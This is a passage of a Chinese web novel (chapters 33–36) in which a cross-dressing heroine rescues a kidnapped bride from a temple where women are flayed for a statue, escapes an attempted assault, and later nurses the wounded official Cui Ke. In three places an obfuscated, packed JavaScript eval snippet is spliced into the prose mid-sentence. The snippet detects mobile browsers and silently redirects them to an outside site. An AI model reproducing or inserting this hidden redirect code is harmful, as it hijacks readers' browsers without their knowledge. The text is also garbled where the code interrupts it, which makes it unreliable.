大人昏迷不醒,季姑娘怎可能有闲心去跟杨少帮主饮酒作乐? 然而,抬头对视上自家大人的眼神,他就知道,如此拙劣的谎话没有被识破。 大人竟信了。 崔恪苍白的脸上蒙上一层阴霾,眼神漆黑无力,胸脯随着呼吸上下起伏,扣着桌沿的大手骨节比脸还白,手臂上的青筋隔着里衣清晰可见。 33. 第三十三章 报恩寺,季琢玉趴在墙头上,深吸一口气,冰凉的空气钻进肺腑,强行压下背后的阵阵抽痛。 白天想要混进去比晚上还要难,正门是走不通的,只能翻墙。 翻墙也得找准时机,寻好落脚的地方。 不知什么缘故,今日报恩寺中巡逻的守卫少了些,比昨日至少要少一半。 按理说,不该如此,寺中刚被“贼人”闯入,应该加强守卫才是。 季琢玉不敢放松警惕,在墙头上趴了许久,确定周围没什么异常,才飞身一跃,从墙头上跳了下去,稳稳当当落在院子里。 落地的地方是一间禅房,看起来荒废已久,角落里不是碎石就是杂草,没有人活动过的痕迹。 门上落了锁,锁身生锈,铁链上布满尘土。 眼前便是龙潭虎穴,她当然知晓,走出这个院子便是自投罗网,她心知肚明。 这条路,必须她一个人走。 一个和尚端着饭碗走出来,应该是刚从饭堂出来,她眼疾手快,立刻缩身到参天大树后。 大树粗壮的躯干将她遮挡地严严实实,和尚旁边经过,丝毫没有察觉。 季琢玉屏住呼吸,身体贴紧树干,余光撇见和尚走远,才动身离开。 昨日跟崔恪一路逃跑,跌落山下,她分明瞧见有一个洞穴,就在佛像不远处,洞穴的穴口被用木板钉住,像是藏了什么东西。 报恩寺香火旺盛,那么多少女不可能被藏在禅房里,只有可能是在隐秘的洞穴里。 她得去把人救出来,只有将人都救出来,才算有了寺中管事作案的证据。 巡逻的守卫挎刀走过,窃窃私语交谈。 “孙大人说了,这几日让咱们都机灵点,守好洞穴别让人混进去,等他找来新的泥匠重塑佛像,哥几个都能领到赏银。” “可是那洞穴……不是说关着女鬼吗,我可不敢过去。” “怕什么,就算里面有女鬼,也被这寺中的金光镇压着,大师早就做过法事了,里头的女鬼出不来更不敢害人。” “就算不害人,光是听到女鬼的哭声,我就浑身出冷汗,总归,晚上我不当值。” “瞧你那怂样,真不知道花了多少银子才得来这个好差事,山下村子里的王寡妇都比你胆子大。” …… 季琢玉仔细听着他们的谈话,心里明白,到了晚上,洞穴外的守卫会更少。 但是,等不及了。 她心里估摸着,明日这案子再不破,长安城的天后就该得知崔恪受伤的消息了,定会下令让他即刻回长安。 到那时,金身塑成,一切都晚了。 她心里只有一个念头,不想让崔恪被贬到岭南去,他要长长久久地留在长安城。 守卫离开,她的后背依旧紧贴冰冷梁木,伤口硌得生疼,积灰落到鼻尖,硬生生憋住喷嚏,憋得眼眶发酸。 从树后出来,凭着昨晚的记忆,好不容易找到洞穴。 山洞被木板钉死,只有深不见底的黑暗逼仄。 季琢玉跑了过去,拿起旁边的石头砸开木板,钻进去,长长的暗道里一点光亮也没有,只有凉风从耳边呼过去。 她顺着风吹来的方向一直走,终于,看到了微弱的烛光。 半截蜡烛被嵌在墙壁里,角落里蜷缩着一个瑟瑟发抖的姑娘,穿着一身红色嫁衣,披头散发,眼神怯懦地看着她。 “谁,谁在那!”少女惊慌失措的声音。 “别害怕,我是来救你的。”季琢玉快步走过去,解开捆在她身上的粗麻绳子。 少女久未见太阳,被关在洞穴中数日,眼睛布满血丝,脸色是不健康的苍白。 她抓住季琢玉的手臂,哀求道:“救救我,我不想死在这,她们都死了……” 季琢玉一愣,知道少女口中的“她们”便是之前失踪的那些妙龄少女。 总共十三人,只剩下她活着。 “快走,下山去府衙,把你知道的一一告诉陆长史。”季琢玉压低声音,拽住少女拉着她往外走。 少女如梦初醒,连连点头,一瘸一拐紧跟着她的脚步朝着洞穴外走去。 眼看就要出去了,少女忽然停下脚步,像是想到了什么。 她抓住季琢玉的手臂,声音颤抖得厉害:“恩人,小女子名唤新荔,数日前成亲路上花轿被劫,”她眼泪涌出来,“被掳来数日,夫家定嫌我不清白了,我……” 这都什么时候了,她自身难保,还有闲心思在意流言蜚语。 季琢玉眉头猛地一拧,反手扣住她肩膀,力道不小,迫使她抬头,声音斩钉截铁。 “听着,他们若因这个嫌你,你就算花轿平安进门,往后也没好日子过。” 新荔哭声噎住,茫然看着她。 “为这种人哭?不值!”季琢玉用力一推她后背,“快走,活命要紧!” 新荔踉跄着,被她拉走。 两人出了洞穴,外面空无一人,好险没有撞上巡逻的守卫。 正当季琢玉放松警惕的时候,身后一声平和的佛号响起。 “阿弥陀佛。” 季琢玉猛得转身,护在新荔身前。 正是之前手持戒尺阻止她和崔恪混入寺中的和尚,法号“能一”。 “恩人,是他!劫走花轿将我掳来的人就是他!”新荔惊恐万分,吓得脸色惨白。 圆脸白净的管事和尚,绸缎僧袍,双手合十做悲悯众生的模样,让人看了只觉得可笑至极。 沾满鲜血的双手是怎么拨动佛珠的,又是怎么敲下木鱼的,他就不怕遭天谴吗? 季琢玉眼神灼灼,盯着他一字一句说:“我听闻出家人以慈悲为怀,怜悯众生,你私下大开杀戒,如何配得江南的百姓捐香火供养?” 能一大师充耳不闻,轻飘飘地看她一眼,眼神如同看蝼蚁。 就算她知道了寺中的秘密又如何,今日她不会活着走出报恩寺,这里就是她的葬身之地。 “善哉,”能一大师双手合十,单手捏着佛串,目光落到季琢玉脸上,“季公子,哦不,玉兄弟,还是说贫僧应该唤你一声……玉姑娘。” 季琢玉一脸惊愕,眼睛睁圆,屏住呼吸。 她没想到,这和尚竟知道她的真实身份,知晓她的姓氏,更知道她是女扮男装。 一个僧人,消息竟灵通到这个地步,昨日刚见一面,今日就对她了如指掌。 能一大师瞥一眼躲在季琢玉身后的新荔,又将目光再次聚焦到季琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906202|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉身上,语气不善:“玉姑娘,你竟敢带走供奉天后慈悲像的玉女,好大的胆子。” 新荔吓得抓紧季琢玉的胳膊,眼神哀求,她真的不能再被抓回去了,她会死的。 那些跟她一样被关在山洞里的少女,一个接一个被能一大师带出去,却没有一个能再回来,她们都死了…… 下一个就是她了。 “恩人,我求求你,救救我吧,我不想死在这里……” 季琢玉递给她一个安慰的眼神,说:“你别害怕,我会救你出去的。” 救她,也是在救崔恪。 查案抓人讲究证据,这话是崔大人说过的,新荔就是此案的人证。 “呵,就凭你,也想把人救走。”能一大师冷声冷语。 此话一出,几个武僧拿着长棍跳出来,只等能一大师一声令下,将季琢玉拿下。 “等等!”季琢玉忽然喊出声,话锋一转道:“我知道你抓她们是为了什么,不就是要一张漂亮无暇的脸皮吗?” 能一大师眯眯眼,目光打量着她,似乎想看她准备耍什么花招。 季琢玉松开新荔,抬手拔掉挽着长发的木簪,青丝如瀑,垂落至腰间。 快走朝着一旁的水井走过去,舀起水洗干净脸上。 眨眼间,原本男人般粗狂的宽眉变成了细长的柳叶眉,双眸含雾笼烟,面颊丰盈如牡丹初绽,红唇如樱珠,柔润欲滴。 她扭头看向能一大师,从他的眼中看到了惊讶,她微扬唇角,释然地说:“放了她,让我当供奉天后佛像的玉女。” 显然,比起新荔,她才是最佳人选。 能一大师心中大喜,终于让他寻到了最合适的玉女,甚至后怕差点把她杀了。 如果错过眼前这个绝佳的玉女,耽搁佛像塑成,国公爷怪罪下来,他是要被砍头的。 “好,”能一大师一个眼神让身旁的武僧全部退下,“我答应了,放她走,你留下。” 新荔不停地摇头,抓着季琢玉的袖子不撒手,“不,恩人,你不能留下,他会杀了你的。” 取人的脸皮,是要活剥下来的,人一旦先死了,脸皮就没废了。 季琢玉推她一把,眼神坚定,小声在她耳边说:“别耽搁时间了,赶紧下山去,别忘了你答应我的事。” 她要新荔下山去府衙,将被掳走的事情一一告知长史大人。 新荔姑娘得是案子的人证,不然她涉险所做的这一切就都白费了。 新荔眼里含着泪,感激涕零地点头,头也不回地跑下山。 季琢玉只能把希望寄托在她身上,但愿她能信守承诺,去府衙状告报恩寺一众人的恶行。 此案告破,崔恪自然就知晓她身在报恩寺,到时候大理寺来人,必能将她救出去。 可是,她千算万算,没算到能一大师此刻就要动手,亲手为天后的慈悲像捏上世上最精巧的唇。 他等不及了。 他等这一刻已经很久了,迫不及待要完成自己的“心血作品”。 为了为天后寻合适的唇,他杀了很多少女,可是总是不满意,直到看到季琢玉,他确信,她的唇就是最合适的。 她的这张脸皮,双唇,似乎就是为天后佛像而生的。 34. 第三十四章 崔恪披着外袍坐在案牍前,一手扯着衣,一手翻阅案卷,周身一股药气。 翻书的动作稍用力,喉间溢出一声极低的闷哼,冷汗无声浸湿鬓角。 “大人,午时三刻了,您该喝药了。”崔十九端着药碗从外面进来,脸上难掩心事重重。 崔恪的视线缓慢抬起,掠过空荡的门口,干涩的喉咙滚动了一下,声音嘶哑如砂砾磨过:“放这吧。” 崔十九慌忙放下药碗,转身想要离开。 身后声音沉冷,听不出起伏:“还没回来吗?” 崔十九身体一僵,眼神躲闪不敢回头,他自然知道崔大人问的是谁。 “季姑娘还未归……或许是玩得尽兴,有杨少帮主陪着,大人只管放心吧。” 他心里想着,还好趁着煎药的功夫,派人去告知杨少帮主季姑娘去报恩寺的事了,估摸着这会儿杨少帮主已经带人去寺里寻人了。 有少帮主在,寺中的和尚不敢造次,崔十九打听过,杨家船帮江南地带颇有地位,黑白两道都要给杨家船帮几分面子。 季姑娘是杨少帮主的义弟,杨少帮主定会护她周全。 崔十九没有回头,自然没看到身后自家大人的脸有多黑。 崔恪没有犹豫,忍着后背的刀伤疼痛起身,气息微乱,整理外袍,道:“随我去绿阳酒楼。” 崔十九猛得转过身,张着嘴,支支吾吾说;“大人,绿阳酒楼距府衙甚远,您伤势重,不可舟车劳顿,不如……不如属下代您跑一趟,寻季姑娘回来。” 崔恪未说话,眼神盯到崔十九的身上,黑眸沉沉。 强大的压迫感让崔十九直冒冷汗,他甚至不敢与大人的眼神对视。 “属下该死!”崔十九忽然单膝跪地,头垂得更低,“季姑娘……今日一早独自去了报恩寺,她说……事不宜迟……” 崔十九话音刚落,急匆匆地脚步声由远及近,陆长史小跑过来,神色焦急,道:“少卿大人,有个失踪的女子方才回来了,就在府衙外,说要状告报恩寺和尚假借塑天后佛像虐杀民女。” 崔恪阖上眼,深深吸了一口气,胸腔起伏牵动伤口,疼痛感自心脏到后背来来回回。 再睁眼时,眸底已是一片深寒,所有波澜被强行压下。 他不再看崔十九,视线落到陆长史身上:“带她进来,升堂。” “大人!您的伤……”崔十九担忧不已。 “更衣。”声音无波无澜,却带着不容置疑的威压。 府衙大堂,声势浩大。 崔恪端坐案后,面无血色,薄薄的冷汗凝结在额角,官袍下包扎伤口的白布边缘隐隐透出血迹。 腰背挺直如松,仿佛背后的伤口不存在,按在惊堂木上的指节发红,修长的手指比往常任何时候都瘦窄。 堂下,几个被强行传唤来的和尚抖如筛糠。 “说。”崔恪声音不似之前响亮,却也是字字清晰,冻彻骨髓,“佛像面皮,从何而来?失踪女子,藏于何处?” 为首的和尚涕泪横流,语无伦次:“大人饶命,是国公爷的意思,宫里来的公公说要塑与天后一般无二的金身,唯有妙龄女子,肤若凝脂,取其面皮,秘法炮制,方能,方能成那‘慈悲相’啊,人……人关在后山山洞里……” 崔恪放在案下的手,指甲深深嵌入掌心,一丝温热顺着指缝滑落,无声滴在冰冷的袍角。 他面上依旧沉静如水,眼底深处翻涌着浓得化不开的杀意。 骤然,站在一旁的新荔哭喊出声。 “大人,除了我,山洞里的人都死了,救我的恩人也被能一大师抓走了,如今是死是活都不知道。” “恩人”二字千斤重,砸在崔恪心上。 崔十九神色一惊,他也知晓新荔姑娘口中所说的恩人就是季姑娘。 崔恪猛地起身,动作极快,后背上一抹温热血色迅速在官袍上洇开,他似浑然未觉。 “大人!”崔十九骇然上前欲扶。 崔恪手臂一抬,格开崔十九的手,力道沉稳。 高大身影没有丝毫迟滞,步履迅疾,异常稳定地向外冲去。 “备马,去后山,务必将人找出来!”命令简短。 大人要将谁找出来,是能一大师,还是季姑娘,唯有崔十九心里有数,他迅速出去整队。 报恩寺内,阴冷潮湿的山洞深处,浓重的霉味混合着血腥气。 一盏昏黄油灯挂在生锈的铁钩上,光影摇曳,是洞穴里唯一的光亮,照着季琢玉的侧脸,她的脸色极不对劲。 她被人狠狠掼在冰冷的石壁上,后背撞得生疼。 站在她面前的是一个不男不女的,年过五旬,身着锦缎、面白无须。 此人是国公爷的亲信,天后身边的王公公。 脸上除了宫里太监惯有的阴柔,还有扭曲的、如同鬣狗发现猎物的兴奋和暴虐。 “小杂种!敢坏国公爷的大事,杂家今天让你死个明白。” 王公公干瘦又异常有力的手翘着兰花指,掐住季琢玉的脖子,另一只手粗暴地撕扯着她身上早已破烂的衣服,意图昭然若揭。 太监不能人道,却最懂得如何羞辱人。 站在一旁的能一大师双手合十,紧闭双眼,口中念着“阿弥陀佛”,却并无阻止的意思。 “放开我!”季琢玉目眦欲裂,她拼命挣扎,指甲在那老太监的手背上抓出血痕,双脚乱蹬。 力量的悬殊如同天堑,对方的钳制纹丝不动。 外袍被撕开,露出里面同样沾满泥污和血渍的白色中衣,老太监眼神□□,干枯的手带着令人作呕的滑腻感,探向她中衣的领口。 “滚开!”季琢玉绝望的嘶吼,用尽全身力气猛地一挣。 “嘶”的一声,本就破烂的中衣领口被这一挣扯开更大,露出了她纤细的锁骨和云粉蒸般的肩头。 肩头赫然印着一抹殷红,形状奇异,并非伤痕,而是一朵栩栩如生,含苞待放的牡丹花。 花瓣舒展,色泽鲜妍欲滴,呈现朱砂色。 欲要施暴的王公公动作僵住,瞳孔骤然收缩,死死地盯着她肩头上状似牡丹花的胎记。 脸上的淫邪、暴虐、得意,在一瞬间凝固,取而代之的是一种见了鬼般的、极致的惊骇和难以置信。 “这……这不可能!”他猛地松开掐住季琢玉脖子的手,踉跄着倒退一步。 枯瘦的手指颤抖着指向她肩头那抹惊心动魄的红,“牡……牡丹花胎记……左肩……是这个位置……这个形状……” 他像是魔怔了,眼珠子几乎要瞪出眼眶,盯着那朵花,又猛地抬头看向季琢玉清丽的脸庞。 一个尘封多年、足以掀起滔天巨浪的名字在他惊恐欲绝的脑海中轰然炸开。 “你,你是安……”他失声大喊,一张脸因极度的恐惧而扭曲。 “咻!”细微到几乎无法察觉的破空声骤然响起,一只箭射向王公公的侧颈。 王公公尖叫一声,捂住流血的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910662|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子,扭头看向山洞洞口。 无数个火把照亮洞口,还没来得及看清是什么人敢朝他放箭。 下一秒,他张着大口,眼睛凸起,倒了下去,最后一眼死死望着季琢玉肩头那朵殷红的牡丹花。 能一大师瞳孔一惊,想都没想钻向山洞更深处,这山洞是他造的,他比任何人都清楚哪里有暗道能出去。 季琢玉浑身无力,只能眼睁睁看着能一大师逃走,耳边是她自己粗重惊恐的喘息声。 她惊魂未定地看着脚边那具迅速失去温度的尸体,又茫然地低头看了看自己肩头,肩头的牡丹花胎记绽放在莹白的肌肤上显得格外刺目。 他刚才想说什么,是安什么吗,为什么看到她肩头的胎记会突然松了手? 来不及细想,逆着光,她看见一个高大的身影隐入黑暗中,朝着她大步走来。 墨蓝色官袍下摆染着大片深褐色的干涸血渍,肩背处似乎又有新的暗红。 崔恪脸色苍白如纸,额角布满冷汗,气息带着重伤未愈的急促,单手紧紧地握着弓。 目光深邃如寒潭,一步一步走近。 目光落在季琢玉身上,她背靠石壁,衣衫破碎,脸色惨白如纸,可怜的不能再可怜了。 看到她没事,他紧绷到极致的神经,微不可查地松弛了一丝。 看到崔大人走过来,季琢玉下意识拢紧衣襟,破碎领口难以遮挡胸前一小片莹白肌肤。 崔恪没有任何多余的表情,无视地上王公公的尸体,解下官袍外衣,披在她的身上,将她严严实实裹住,动作干脆利落,带着不容拒绝的强势。 高大的身影挡住了她眼前的光,鼻尖的血腥味更重了,却给她带来一种令人心安的感觉。 “伤到哪了?”崔恪的声音低沉沙哑,带着重伤后的虚弱感,却在发问的时候异常平稳。 听不出他声音里有丝毫的紧张和愤怒,仿佛只是在对属下进行最寻常的公务问询。 宽大的披风几乎将她整个人都包了进去,只露出一张沾着泥污、惊魂未定的小脸。 季琢玉摇摇头,她只是浑身没力气,并没有受伤。 那该死的阉人给她喂了软筋散。 崔恪的目光在她脸上停留了一瞬,确认她真的除了惊吓和皮外伤似乎并无大碍后,便迅速移开。 他弯腰,动作没有丝毫迟滞,一手穿过她腿弯,一手托住她的后背,轻而易举地将她打横抱了起来。 季琢玉身体一僵,下意识地想挣扎。 “别动。”耳边是不容置疑的命令口吻。 季琢玉忘了挣扎,任由他抱着,她能感觉到抱着她的手臂紧绷有力。 崔恪抱着怀里的女人转身向山洞外走去,脚步迅捷,气息平稳,小心翼翼。 经过崔十九身边时,他脚步未停,只丢下一句冷硬的命令。 “把人追回来,要活口。” “是,大人。” 崔十九不敢抬头看自家大人怀里抱着的女人,随行的守卫也都十分有眼力见,纷纷转过身去。 这些守卫不认得季琢玉的女儿身,自然不知晓崔少卿抱着的女子是何人,只当是被和尚掳来的妙龄少女。 不远处的树后,杨大牛手持弯刀,身后跟着十几号船工。 他面无表情,立在原地一动不动,看着山洞外的这一幕,只觉得脑子嗡嗡作响。 他最看重的“玉兄弟”怎么成了细皮嫩肉的标致女子,还被姓崔的这个小白脸抱着…… 35. 第三十五章 府衙偏房内,苦涩难闻的药味,混着淡淡的血腥气,仿佛空气都染着薄薄的血色。 崔恪卧在雕刻云纹的紫檀四柱床上,青色竹叶屏风围了三面。 他赤裸着上半身,腰背线条精壮流畅,古铜色的背部肌肉覆着一层细汗,宽肩往下收束成利落的窄腰。 季琢玉坐在床沿,手中捏着浸了药汁的干净软布。 深吸一口气,竭力稳住心神,将心思专注在处理伤口上。 她半眯着眼,还是忍不住去看,近在咫尺的宽阔脊背,触手可及,流畅的肩胛线条,紧实有力的腰侧,完美到极致的背肌轮廓随着呼吸微微起伏。 擦拭伤口的时候,尾指冰凉的肌肤不小心触到他滚烫的皮肤,她心尖猛地一跳,浑身哆嗦了一下。 不知为何,她的脑子里不受控制地闪过一些不存在的画面。 男人健硕的臂膀紧抱着她,她的侧脸紧密地贴在男人宽阔的胸膛上。 念头稍纵即逝,烧得耳根子发红,连带着脸颊上也是异常的绯红。 她赶紧垂下眼帘,长长的睫毛慌乱地颤抖着,试图掩盖眼底的慌张。 眼前的男人可是崔大人,堂堂大理寺少卿,脾气有多差,手段有多狠辣,全长安城的女儿家都知道,她怎么能对着他想这些乱七八糟的。 她晃晃脑袋,赶紧把脑袋里不正经的画面撇出去,手上一个没注意,上药的力气大了些。 “嘶……”药布沾上伤处,崔恪倒抽一口凉气,背后肌肉本能地绷紧,显得更加紧致有力了。 “大人,您再忍忍,马上就好。”季琢玉连忙收敛心神,声音都比平时软了几分。 她强迫自己集中注意力,小心翼翼地擦拭伤口边缘的污渍和残余的药粉,动作十分轻柔。 “嗯。”崔恪闷哼一声,侧过脸,下颌线绷得紧紧的。 汗水顺着他的鬓角滑落,滴在枕上,透窗的阳光勾勒着他的侧脸轮廓,深刻锋利,鼻梁高挺,薄唇紧抿,莫名有种硬朗的脆弱感。 就在季琢玉屏息凝神,准备敷上新药膏时,门口传来脚步声和崔十九压低的说话声:“郎中,这边请,我家大人……” 门“吱呀”一声被推开半扇。 崔十九引着个背着药箱的老郎中刚探进头,一眼就瞧见了床边的景象,瞪大双眼。 自家大人精赤着上身趴在床上,季姑娘正俯身,手里拿着药膏,指尖几乎要碰到那结实的背肌。 重要的是,季姑娘的侧脸……红得跟抹了胭脂似的。 崔十九脑子“嗡”一声,反应快得像脚底抹了油,一把拽住正要往里迈的老郎中胳膊,猛地往后一退,另一只手“哐当”就把门给带上了大半,只留一条缝。 “哎哟!”老郎中被拽得一趔趄,莫名其妙,手里的药箱差点扔出去。 崔十九瞥一眼半掩的窗,脸上堆起歉意,声音洪亮得有点刻意:“哎呀郎中,您瞧我这记性,糊涂了糊涂了,大人这药啊,已经有人给换上了,正换着呢。您老白跑一趟,实在对不住。” 老郎中被他挡得严严实实,又被这突如其来的变故弄得一愣,下意识地伸脖子想往里瞧:“啊?可是……” “没什么可是。”崔十九一把抓住老郎中的胳膊,力道巧妙地将他往后带了一步。 “屋里有人正包扎呢,就不劳您再动手了,这点心意您拿着,买盏好茶润润喉,压压惊。改日,改日大人伤情若有反复,一定再请您来。”他一边说,一边飞快地从袖袋里摸出几枚沉甸甸的铜钱,硬塞到老郎中手里。 即便嘴上说着“改日”,但他心里门清,日后大人的伤都不必请郎中来上药了,自有季姑娘照料。 老郎中捏着钱,看看紧闭的门缝,又看看崔十九尴尬的脸,似乎明白了什么,捋着胡子,露出个了然的笑容:“哦哦,明白,明白,屋里已经有郎中了,少卿大人有人照料就好,有人照料就好,那老朽告退,告退!” 郎中说完,识趣地转身走了。 崔十九会看一眼屋子,夸张地松了口气,也紧随其后离开院子。 还好,没让人瞧见季姑娘在里头给大人上药,这要是传出去,指定有人要说崔大人金屋藏娇,办案还留美人在身边,成何体统。 门外的谈话声清晰地传进屋里,季琢玉的脸“腾”地一下,红得快要滴血。 她手里捏着的药膏差点掉在床上,窘得恨不得找个地缝钻进去。 崔恪卧在枕头上,单手撑起下颚,把门外那番话听了个一字不漏。 他侧过脸,饶有意思地看着季琢玉红透了的耳根和强作镇定的双肩,苍白的唇角忽然勾起一抹极淡的戏谑笑意。 “看来……崔十九这月例钱,得加。”他慢悠悠地说,目光灼灼地盯着她,“季郎中包扎的手艺,甚好,只是……” 他故意顿了顿,看着季琢玉因紧张而微微起伏的胸口,“脸怎么比刚才更红了?这屋里……莫非是越来越热了?” 季琢玉一愣,圆溜溜地大眼睛难以置信地看着崔恪。 他方才叫她什么,季郎中? 想清楚后,她只觉得一股热气直冲颅顶,崔大人分明是故意的,竟也打趣她。 她抬眼瞪他,对上他深邃含笑的黑眸,看到瞳孔里她自个羞窘的模样,怒气溃不成军。 “崔、恪!”季琢玉羞恼交加,几乎是咬着牙低吼出他的名字。 “你叫我什么?”崔恪抬起眼皮,声音变得严肃了些,并非是指责,而是带着某种期待。 只是他所谓的期待并不好让人察觉,季琢玉以为他要发怒,嫌她一介草民直呼他四品大官的名讳。 她别开眼,手下的动作重了几分,没好气地低声道:“大人趴好,我今日刚当上郎中,手上没轻没重,弄疼您,您可别怪我。” 崔恪听着她这般羞恼的话,低低地笑了起来,震得伤口微微抽痛,他毫不在意。 她从前也是这样吼他的,不悦便是崔恪,心悦便是子慎。 季琢玉撇他一眼,手上包扎的动作猛地一紧,故意使了点力气勒过他的伤口。 “嘶”,崔恪猝不及防,痛得倒吸一口冷气,脸上的戏谑瞬间变成了真实的痛。 “活该!”季琢玉看着他吃痛的表情,心头羞恼消了些,报复性地又轻轻勒了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916031|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才继续手上抹药的动作。 让他笑,再笑就让他疼死算了。 涂着涂着手里的药膏,季琢玉的目光再次落到他身后的伤疤上,除了新添的刀伤,还有一些旧伤,鞭痕和刀痕都有,错综复杂,浅浅深深。 之前在后山,看得没那么真切,如今借着光看得更清晰了。 她无法想象,这些狰狞蜿蜒的伤疤落在身上该有多疼。 他怎么没让人弄点药来涂上,白白落了疤在背上,崔家连宫里的金创药都能有,从太医手里弄些去痕膏也不是什么难事吧。 “小郎中,”崔恪忽然喊她,声音低沉沙哑,也许是因为趴着的姿势,听起来有些闷,“药膏……再不敷上,就要晾干了。” 季琢玉回过神来,指尖一抖,差点把药布掉下去。 她轻轻“哦”了一声,小心翼翼地将药膏涂抹到他的后背上,清凉的气息萦绕在她纤细柔软的指尖。 子时将至,崔恪身后的刀伤像是火燎般疼起来,一阵阵抽痛把他从浅眠中拽醒。 他撑起身,额角渗出细密的冷汗,披着外衣挪步到桌边,倒了一杯茶水。 窗外月色冷白,他下意识望向隔着院子的对面厢房。 昏黄的烛光从窗棂缝隙里透出来,在漆黑的夜色中格外醒目。 这么晚了,她还没睡? 崔恪蹙眉,心中掠过一丝异样的担忧,压着伤口的疼痛放轻脚步,悄无声息地走到对面房门外。 他伸出手轻轻推开虚掩着的门,一个小小的身影趴在堆满书卷和纸张的桌案上,睡得很沉。 她侧脸枕着手臂,几缕发丝散落下来,遮住小半张脸,长睫在眼下投出一小片阴影,随着呼吸微微颤动。 最惹眼的是,她白皙的脸颊上,不知何时蹭上了一小块墨迹,竟多了几分稚气和可爱。 她睡着了,也算得上是安静温和的女儿家。 崔恪的视线落在她压着的手臂下,一叠写满了字的纸,墨迹未干。 最上面一张,工工整整地写着几行秀丽小字。 “辰时换药,需三七粉三钱,金疮药膏……” “忌辛辣发物,伤口不可沾水,上药后观察是否发热。” ……. 旁边还摊开着一本翻到纸张卷边的医书,有关刀伤愈合的一卷被圈了个圈。 一种难以言喻的感觉钻进他的心里,积压已久变得格外沉重。 纸上她写下的每一个字都像细细的针,精准地扎在他心底最柔软的地方,引起一阵悸动的酸麻。 他的喉结无声滚动一下,深邃眼眸晦暗不明,让人看不懂。 他站在门口,明明心里想着靠近,想得要发疯。 依旧像一尊石像,安静地站着,只有微微起伏的胸膛昭示着他还有情还有欲。 许久,终于极其缓慢近乎无声地向着桌边走去,步伐沉稳。 他弯下腰,小心翼翼地伸出手臂,穿过她的膝弯和后背,微微用力,将她轻盈的身子从冰冷的桌案上抱了起来。 怀中温软,青丝柔滑,淡淡的石榴花香和一丝若有若无的墨香萦绕在他的鼻间。 36. 第三十六章 酣睡中的“小郎中”,头靠在他未受伤的肩窝处,温热的呼吸抚摸过他的颈侧。 崔恪身体僵硬,抱着她的手臂肌肉贲张。每一步都走得极慢极稳,生怕惊醒了她。 将季琢玉轻轻放在床榻上,又拉过薄被,仔细地给她盖好。 微茧的指尖碰到她微凉的手背,又觉得像被烫到一般快速收了回去。 崔恪直起身,站立在床边,目光沉沉地凝视着他的睡颜。 浅白稀薄的月光照在她脸上,脸颊上的一点墨迹淡淡晕染。 他几乎要忍不住伸出手指,替她轻轻擦去,手比念想还要快。 忽然,睡梦中的女人似乎感觉到了方才靠着的温暖渐远,无意识地蹙了蹙眉,发出模糊的呓语。 纤细的手从被子里伸出来,在半空中虚虚地抓了一下,竟精准地揪住了崔恪外袍垂落的一角衣袖。 力道很轻,却抓得很紧,像是无休止的依赖。 崔恪瞳孔骤缩,黑眸里好似塌陷了什么。 感觉到衣袖上微小的拉力,心也跟着紧绷起来,一下一下跳动得沉重又缓慢。 耳边吹过清凉的夜风,撩拨着他耳后的碎发,他清晰地听到身体里好像有什么东西猛烈的跳动,呼之欲出。 他几乎要立刻俯下身去,握住那只手,残存的理智忽然如潮水一般涌来。 不…… 迅速起身,背后伤口的痛楚变得格外清晰,好像是在提醒他,提醒他不要做不该做的事情。 眼底翻涌的炽热被强行压下,黑眸里只剩下深不见底的幽暗和悲痛的决绝。 他紧抿薄唇,下颌线绷紧。 再次抬起手,缓缓地将自己的衣袖,从她无意识攥紧的手指间,一点一点地抽离出来。 布料和指尖细微的摩擦声,在安静的深夜格外清晰,像是撕裂了什么。 最后一点衣角脱离她指尖的刹那,崔恪迅速转过身,不敢再看她一眼。 他怕再多停留一瞬,头脑中那点可怜的理智就会彻底被摧毁,消失殆尽,后果不堪设想。 他向外走,脚步微顿,没有回头,只是轻轻地抬起手,精准地拂灭了桌上摇曳的烛光。 屋内瞬间陷入一片黑暗。 崔恪大步走出去,背影在月光下显得十分孤绝,无比优越的侧脸异常冷硬。 屋外木门吱呀的声响极为细微,还不如树枝晃动的声音清晰。 清冷的月光从窗棂洒入,勾勒出床上模糊的轮廓,季琢玉翻了个身,脸颊上似乎挂着一行浅淡的泪痕。 她又在梦中哭了,像往常一样,醒来还是什么也不记得。 翌日,运河两岸的牡丹花瓣上的露珠还没滴落在水道里,鲜绿的草面上的升起的水汽混着河风微凉。 停靠在运河边的官船高悬旗帜,船工们井然有序地往上搬东西。 江南道几位主官,陆长史、周司马、赵参军,带领着几个属官,早早候在岸边。 见到崔恪、季琢玉和崔十九三人下马走来,连忙上前拱手行礼,姿态恭敬中带着一丝不易察觉的松快。 